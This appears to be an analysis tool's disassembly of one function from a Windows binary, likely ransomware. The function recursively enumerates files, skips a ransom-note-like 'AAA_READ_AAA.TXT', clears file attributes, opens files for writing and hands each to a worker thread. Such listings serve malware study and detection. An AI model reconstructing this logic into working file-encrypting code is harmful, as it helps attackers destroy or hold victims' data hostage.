Function at 0x14000e510
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x2a88]
mov eax, 0x2b88
call fcn.14000d0f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2a70], rax
mov rax, qword [rbp + 0x2ae0]
mov rsi, rcx
mov ecx, 1
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x54], r9d
mov rbx, rdx
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], rdx
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x9f0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x1a30]
mov r8d, 0x410
call fcn.140002350
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e8fc]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x58], rax
mov rbx, rax
lea rdi, [0x140000000]
test rax, rax
je 0x14000ebd8
mov rcx, rsi
call fcn.140010090
test eax, eax
jne 0x14000ebd8
test byte [rbp - 0x80], 0x10
jne 0x14000ea3b
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000e663
xor ecx, ecx
mov r9d, 0x2e
test r9w, r9w
je 0x14000e663
movzx eax, word [rcx + rdi + 0x3e902]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000e642
xor eax, eax
test al, al
jne 0x14000ea3b
test r8d, r8d
je 0x14000ea3b
test edx, edx
jne 0x14000e6a3
mov r8d, 0x2e
mov ecx, eax
test r8w, r8w
je 0x14000e6a1
movzx eax, word [rcx + rdi + 0x3e90a]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000e682
xor eax, eax
test al, al
jne 0x14000ea3b
test edx, edx
je 0x14000ea3b
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000ea3b
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000ea3b
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000ea3b
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e910]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edi, edi
lea rcx, [rbp + 0x1210]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e75d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000e769
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e8b1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e920]
lea rcx, [rbp + 0x2250]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x2250]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x2af0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rbp + 0x2ad0]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000e89e
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000e8bb
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000e8bb
mov edi, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], edi
or rax, 0xffffffffffffffff
nop
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000e8c0
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000e8de
mov rcx, rsi
call fcn.1400361a0
lea rdi, [0x140000000]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000ebcd
nop word [rax + rax]
test byte [rbp - 0x80], 0x10
jne 0x14000ebb1
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000e93f
xor ecx, ecx
mov r9d, 0x2e
test r9w, r9w
je 0x14000e93f
movzx eax, word [rcx + rdi + 0x3e932]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000e920
xor eax, eax
test al, al
jne 0x14000ebb1
test edx, edx
je 0x14000ebb1
test r8d, r8d
jne 0x14000e97f
mov edx, 0x2e
mov ecx, eax
nop dword [rax]
test dx, dx
je 0x14000e97f
movzx eax, word [rcx + rdi + 0x3e90e]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000e960
xor edi, edi
test dil, dil
jne 0x14000ebb1
test r8d, r8d
je 0x14000ebb1
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000ebb1
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000ebb1
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000ebb1
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e938]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000ea4a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ea56
mov eax, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], eax
jmp 0x14000e8e5
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000eb8f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
lea r8, [rbp + 0x1a30]
mov eax, dword [rbp - 0x60]
lea rdx, [0x14003e948]
shl rdi, 0x20
lea rcx, [rbp + 0x2250]
or rdi, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x768
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x2250]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x2af0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rsp + 0x50]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000eb7e
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
jmp 0x14000eb84
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000eb93
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000ebb1
mov rcx, rsi
call fcn.1400361a0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rdi, [0x140000000]
test eax, eax
jne 0x14000e900
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x14000ebe2
mov eax, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], eax
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e958]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
test rax, rax
je 0x14000eec3
mov rcx, rsi
call fcn.140010090
test eax, eax
jne 0x14000eec3
test byte [rbp - 0x80], 0x10
mov edi, dword [rbp + 0x2ad8]
je 0x14000ed61
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000ec87
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop
test r9w, r9w
je 0x14000ec81
movzx eax, word [rcx + rdi + 0x3e966]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000ec60
mov edi, dword [rbp + 0x2ad8]
xor eax, eax
test al, al
jne 0x14000ed61
test r8d, r8d
je 0x14000ed61
test edx, edx
jne 0x14000ecd7
mov r8d, 0x2e
lea rdi, [0x140000000]
mov ecx, eax
nop dword [rax]
test r8w, r8w
je 0x14000eccf
movzx eax, word [rcx + rdi + 0x3e91e]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000ecb0
mov edi, dword [rbp + 0x2ad8]
xor eax, eax
test al, al
jne 0x14000ed61
test edx, edx
je 0x14000ed61
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e944]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x2af0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000e510
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000eeba
test byte [rbp - 0x80], 0x10
je 0x14000eea5
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000edc7
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax + rax]
test r9w, r9w
je 0x14000edc1
movzx eax, word [rcx + rdi + 0x3e96e]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000eda0
mov edi, dword [rbp + 0x2ad8]
xor ecx, ecx
test cl, cl
jne 0x14000eea5
test r8d, r8d
je 0x14000eea5
test edx, edx
jne 0x14000ee17
mov r8d, 0x2e
lea rdi, [0x140000000]
mov eax, ecx
nop dword [rax]
test r8w, r8w
je 0x14000ee0f
movzx ecx, word [rax + rdi + 0x3e976]
add rax, 2
movzx r8d, cx
movzx edx, word [rbp + rax - 0x54]
sub edx, ecx
je 0x14000edf0
mov edi, dword [rbp + 0x2ad8]
xor ecx, ecx
test cl, cl
jne 0x14000eea5
test edx, edx
je 0x14000eea5
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e978]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x2af0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000e510
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000ed76
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2a70]
xor rcx, rsp
call fcn.140001030
add rsp, 0x2b88
pop rdi
pop rsi
pop rbx
pop rbp
ret